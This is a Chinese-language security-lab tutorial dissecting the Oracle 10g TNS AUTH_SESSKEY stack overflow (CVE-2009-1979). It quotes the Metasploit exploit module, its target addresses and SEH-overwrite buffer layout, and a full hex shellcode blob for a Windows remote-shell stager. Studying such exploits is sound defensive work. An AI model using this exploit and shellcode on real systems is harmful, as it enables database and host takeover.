背景
随着数据库入侵手段的发展,对数据库的攻击已经不仅仅是针对数据库本身,而是扩展到数据库的各种组建(甚至中间件中)。
TNS(Transparance Network
Substrate)作为ORACLE的核心组件之一,主要负责选择oracle协议配置器,确定一种客户端和服务器都支持的传输协议进行传输。TNS不仅定义了数据库和客户端之间的通讯协议,更负责对客户端进行身份验证(确认客户端所用用户名和密码是否合法)。简单说如果TNS有可利用漏洞则可能直接对Oracle造成入侵。利用TNS入侵oracle基本有3种方式:1.通过劫持TNS信息,把oracle的登录信息劫持到攻击者机器,获取敏感信息,甚至获取oracle管理员账号密码。具体请参考安华金和数据库安全实验室发表的《Oracle数据库漏洞隐患无需user/password快速入侵》一文。2.直接对在TNS中加密的oracle登录密钥进行破解具体请参考安华金和数据库安全实验室发表《见招拆招,破解oracle密码》一文。3.通过缓冲区溢出的方式,在oracle调用异常的TNS参数的时候获取oracle本地操作系统的控制权限。
本文将具体介绍方式3,通过TNS上的缓冲区漏洞入侵oracle所在操作系统。所用例子为CVE-2009-1979。借鉴该漏洞原作者的攻击代码,用metasploit做攻击工具,对一台win2003sp1上的oracle10g2.0.1.0进行攻击。
漏洞说明
CVE-2009-1979(原作者代码http://www.securityfocus.com/archive/1/507598)这个漏洞简单说就是:客户端和服务器确定要使用的验证机制后。进行O3logon验证(该协议是为了客户端向数据库证明客户端拥有合法密钥)每次登录数据库的时候都会走o3logon协议。在这个协议中客户端在获取数据库发来的AUTH_SEKEEY后,会向数据库发送一个对应的AUTH_SEKEEY和AUTH_PASSWORD。oracle10g1.0.5到10.2.04这些版本中客户端发送的AUTH_SEKEEY由于没有对内容的长度进行合理限制。导致成为一个缓冲区溢出的注入点。一个正常的AUTH_SEKEEY长度是64位(如下图所示)。而如果AUTH_SEKEEY长度超过64位则可能修改AUTH_SEKEEY附近的内存变量。导致出现不可预计的结果。
光知道AUTH_SEKEEY存在一个注入点是不够的,还需要进一步了解AUTH_SEKEEY是以什么方式存储在内存中的才可能有针对性的利用这个注入点。由于AUTH_SEKEEY是TNS接收的一个参数所以AUTH_SEKEEY在内存中的存储方式和TNS对消息的存储方式密切相关。客户端发送信息包到达服务器端经历了多个软件层。为了便于理解我们把这个过程做一个简化。从客户端开始信息被传递到客户端本地TNS,客户端本地TNS格式化这个信息,并将它发送给操作系统协议栈。操作系统协议栈通过网络将这个信息传递给服务器的协议栈:接着这个消息被传递给TNS,最终oracle调用TNS中传过来的信息。这个过程可以粗略的看成是在系统栈中进行的。所以可以基本认为CVE-2009-1979是一个缓冲区栈溢出漏洞。利用AUTH_SEKEEY值长度异常进行的栈缓冲区溢出攻击。关于缓冲区栈溢出原理可以参考安华金和数据库安全实验室发表的《windows缓冲区溢出原理(栈)》一文。
代码详解
为了更细致说明这个漏洞的具体机制,直接参考metasploit上关于该漏洞的代码。代码主体结构为:
require ‘msf/core‘
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::TNS
include Msf::Exploit::Remote::Seh
def initialize(info = {})
def check
def exploit
...........
end
其中核心函数只有initialize() 和exploit
两个。initialize主要是用来对漏洞利用的说明。exploit用来真正进行缓冲区溢出攻击。置于其他函数不属于关键函数,所以本文不介绍。
initialize的核心代码为:
‘DefaultOptions‘ =>
{
‘EXITFUNC‘ => ‘seh‘,
},
‘Payload‘ =>
{
‘Space‘ => 0x17e,
‘BadChars‘ => "", # none, thx memcpy!
‘StackAdjustment‘ => -3500,
},
‘Platform‘ => ‘win‘,
‘Targets‘ =>
[
[ ‘Automatic‘, { } ],
[ ‘Oracle 10.2.0.1.0 Enterprise Edition‘,
{
# Untested
‘Ret‘ => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
}
],
[ ‘Oracle 10.2.0.4.0 Enterprise Edition‘,
{
# Tested OK - 2010-Jan-20 - jduck
‘Ret‘ => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
}
]
],
‘DefaultTarget‘ => 0,
‘DisclosureDate‘ => ‘Oct 20 2009‘))
initialize函数说明该漏洞被利用的条件(图中标红的地方为关键重点)该漏洞被描述为利用缓冲区栈溢出的SEH方式。这里的payload指的单纯是shellcode,而不是整个向注入点中注入的字符串(本文中就是组成AUTH_SESSKEY的值)。其中特别指出了整个栈中可被shellcode覆盖的空间限制为382个字节。badchars是限制用于填充空指令的限制字符。在win2003上对填充字符没有限制(有限制是为了防止填充字符对shellcode造成破坏,每种指令集的填充字符不同。)platform说明需要操作系统为WIN系列。这是因为不同的操作系统栈的结构、对栈缓冲区溢出的保护程度都是不同的(即便同样的操作系统不同的补丁下API基地址也有变化这回对缓冲区攻击造成很大影响)targets是指的可用于攻击的数据库版本号和SEH方法最关键的POP/POP/RET地址。本例中采用的是orcale10.2.0.1.0所以POP/POP/RET地址为0x011b0528。initialize最关键的3个点是:1.指出了shellcode的最大长度。2.指出了对应版本oracle用于SEH的POP/POP/RET地址。3对缓冲区溢出填充字符做了限制,防止sploit
被填充字符破坏。
exploit函数核心代码:
#伪造客户端给数据库发送的前6个包
# build exploit buffer
print_status("Calling kpoauth with long AUTH_SESSKEY ...")
sploit =
payload.encoded 1
sploit << rand_text_alphanumeric(0x1aa -
0x17e) 2
sploit <<
generate_seh_record(mytarget.ret) 3
distance = payload_space + 0x2D
sploit<<Metasm::Shellcode.assemble(Metasm::Ia32.new,"jmp$-"+ 4
distance.to_s).encode_string
expliot函数主要负责2个任务:
1.伪造oracle客户端给真实的数据库发送包,直至发送到含有AUTH_SESSKEY字符串的数据包为止。下图就是伪造的数据包,exploit伪造的就是IP为10.10.10.128的客户端。10.10.10.130就是要入侵的目标数据库。
2.创建缓冲区溢出的sploit (build exploit
buffer开始的内容),首先给出制造的缓冲区溢出的整体结构: shellcode脚本+随机地址+短跳板+返回地址+长跳板。下面逐行说明:
第一行:sploit = payload.encoded
存入shellcode。这个shellcode的功能是直接获取被攻击机器的操作系统权限。代码如下:
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0"
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57"
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01"
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B"
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4"
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B"
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24"
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07"
"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00"
"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF"
"\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6"
"\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF"
"\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56"
"\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00"
"\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56"
"\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75"
"\xEC\xC3"
shellcode简单说就是一段为缓冲区溢出攻击而植入进程的代码,大多数是用汇编语言编写的。shellcode本身根据跳入的方式不同分为jump/call、pop return、push return、jmp[reg+offset]、blind
return、SEH等多种类型。由于本文重点不在讨论shellcode。所以此处略过,以后会补上shellcode专门介绍的文章。本文的shellcode用的是SEH这种方式。
第二行:sploit <<
rand_text_alphanumeric(0x1aa - 0x17e)
生成填满目标地址到源地址之间的随机数。用随机数而不用固定的一串字符,最主要的原因是防止程序被某些防护机制处理而导致实验失败。TNS收到数据后会在oracommon10.dll中的函数kpzgkvl中进行检查。检查后用数据intel_fast_memcpy(这个函数是编译的时候intel对指令对memcpy进行了优化,而产生的代替memcpy的函数)拷贝给oracle处理。同样AUTH_SESSKEY的值也会走这个过程。溢出点就出现在这个拷贝函数中。拷贝的源地址是04AB99A4、目标地址是0x0673dB96(本文出现的所有地址只是作者的win2003sp1上的地址,打上不同补丁的操作系统地址会有变化),而最近的SEH地址为0X0673DD40。地址04AB99A4中存储的AUTH_SESSKEY值通过intel_fast_memcpy拷贝到地址0x0673dB96。对04AB99A4中存储的AUTH_SESSKEY值没有长度判断导致,在拷贝到0x0673dB96后覆盖到0X0673DD40(SEH地址)发生缓冲区溢出。如果想要AUTH_SESSKEY的值从地址0x0673dB96一直覆盖到地址0X0673DD40,则需要考入426(0x1aa)个字符。只有在04AB99A4这个点输入426长度的字符串才有可能。这个漏洞的initialize中指出shellcode空间为382(0x17e)。不满足覆盖需求所以需要用(0x1aa
-
0x17e)个字符来填充保证能覆盖到SEH(0X0673DD40)。为了更清楚说明为什么要覆盖到0X0673DD40,下面说明和本例相关的SEH中的一小部分。
SEH是windows的异常出处理机制。任何程序的异常处理本质上都是安装了SEH。一个线程中允许存在多个SEH。如果一个线程中没有做任何异常处理。windows也会在创建线程的开始通过系统函数来创建一个系统级SEH(当所有的SEH都无法处理异常的时候,最终会调用系统函数处理异常。结果就是弹出一个对话框,并强制关闭程序)。
在一个栈中每个SEH大小为8字节,有2个4字节成员组成,低地址位存储的是指向下一个SEH链表的指针,高地址位存储的是异常处理函数地址。当异常发生时会从TEB(线程环境块)中读取指向SEH链的指针,开始从异常触发地方由近及远逐个访问SEH,如果距离异常触发地方最近的SEH能处理该异常,则由该SEH处理。如果无法处理则沿着SEH链跳向下一个SEH。以此类推直到异常处理。最后一个SEH链的底部是FFFFFFFF。最后一个SEH就是线程开始系统创建的SEH。
缓冲区溢出SEH方式就是利用字符串覆盖掉SEH链中距离,异常触发点最近的SEH。把SEH
handle(0x0673DD44)地址覆盖成pop/pop/ret类型(0x11b0528)。欺骗SEH
handle执行pop/pop/ret,过程红会把pointer to next SEH rerord的地址放入EIP中最终ret会跳出到pointer to
next SEH rerord中。具体过程为:当异常触发的时候,异常会自动自己创建一个栈帧。它会把SEH
handle成员压入新创建的栈帧中。在SEH结构中有一个域是EstablisherFrame。这个域指向异常管理注册记录,pointer to next SEH
rerord的地址被压入栈中,被压入的这个值位于ESP+8的位置。pop/pop/ret串覆盖SEH handle 后第一次pop
弹出栈顶的4bytes,接下来pop继续从栈中弹出4bytes。最后ret将把此时ESP所指栈顶中的值(pointer to next SEH
rerord)放到EIP中。所以被pop/pop/ret覆盖的SEH handle会跳转回pointer to next SEH
rerord。
由于pointer to next SEH rerord被改写成EB 06
+2个随机字符(凑成一行)则会跳过下面被改写的SEH handle。执行SEH
handle后面的内容。如果后面的内容是shellcode或者是指向shellcoded的跳转指针,则跳入shellcode开始执行shellcode。
第三行. sploit <<
generate_seh_record(mytarget.ret)
通过函数generate_seh_record生成2行覆盖pointer to
next SEH rerord的短跳板(包含EB 06、两个随机字符(凑成4字节))和覆盖SEH
handle的返回地址(pop/pop/ret类型的0x11b0528)来完成覆盖SEH跳转到shellcode或下一个跳板的过程。
第四行
sploit<<Metasm::Shellcode.assemble(Metasm::Ia32.new,"jmp$-"+distance.to_s).encode_string
这句是一个长跳板。jmp$-表明是负跳转(由内存低地址跳回内存高地址)设置长跳板位于从pointer to next SEH rerord跳过SEH hande
后,执行长跳板跳回sploit的起始地址,开始执行shellcode。
整个sploit 的结构是
shellcode+随机填充值+短跳板+pop/pop/ret地址+长跳板(跳回最开始的)shellcode。最后把这个值赋给AUTH_SESSKEY,给数据库发送含有AUTH_SESSKEY的包。至此入侵完毕,为了效果更直观,在入侵机上运行脚本打开远程连接直接用
sqlplus / as sysdba 登录被入侵机数据库完成整个攻击。效果如下图所示:
至此漏洞CVE-2009-1979介绍完毕。安华金和数据库安全实验室将在下一篇文章中和大家分享此文中略过的shellcode的分类、用法、范围限制等内容。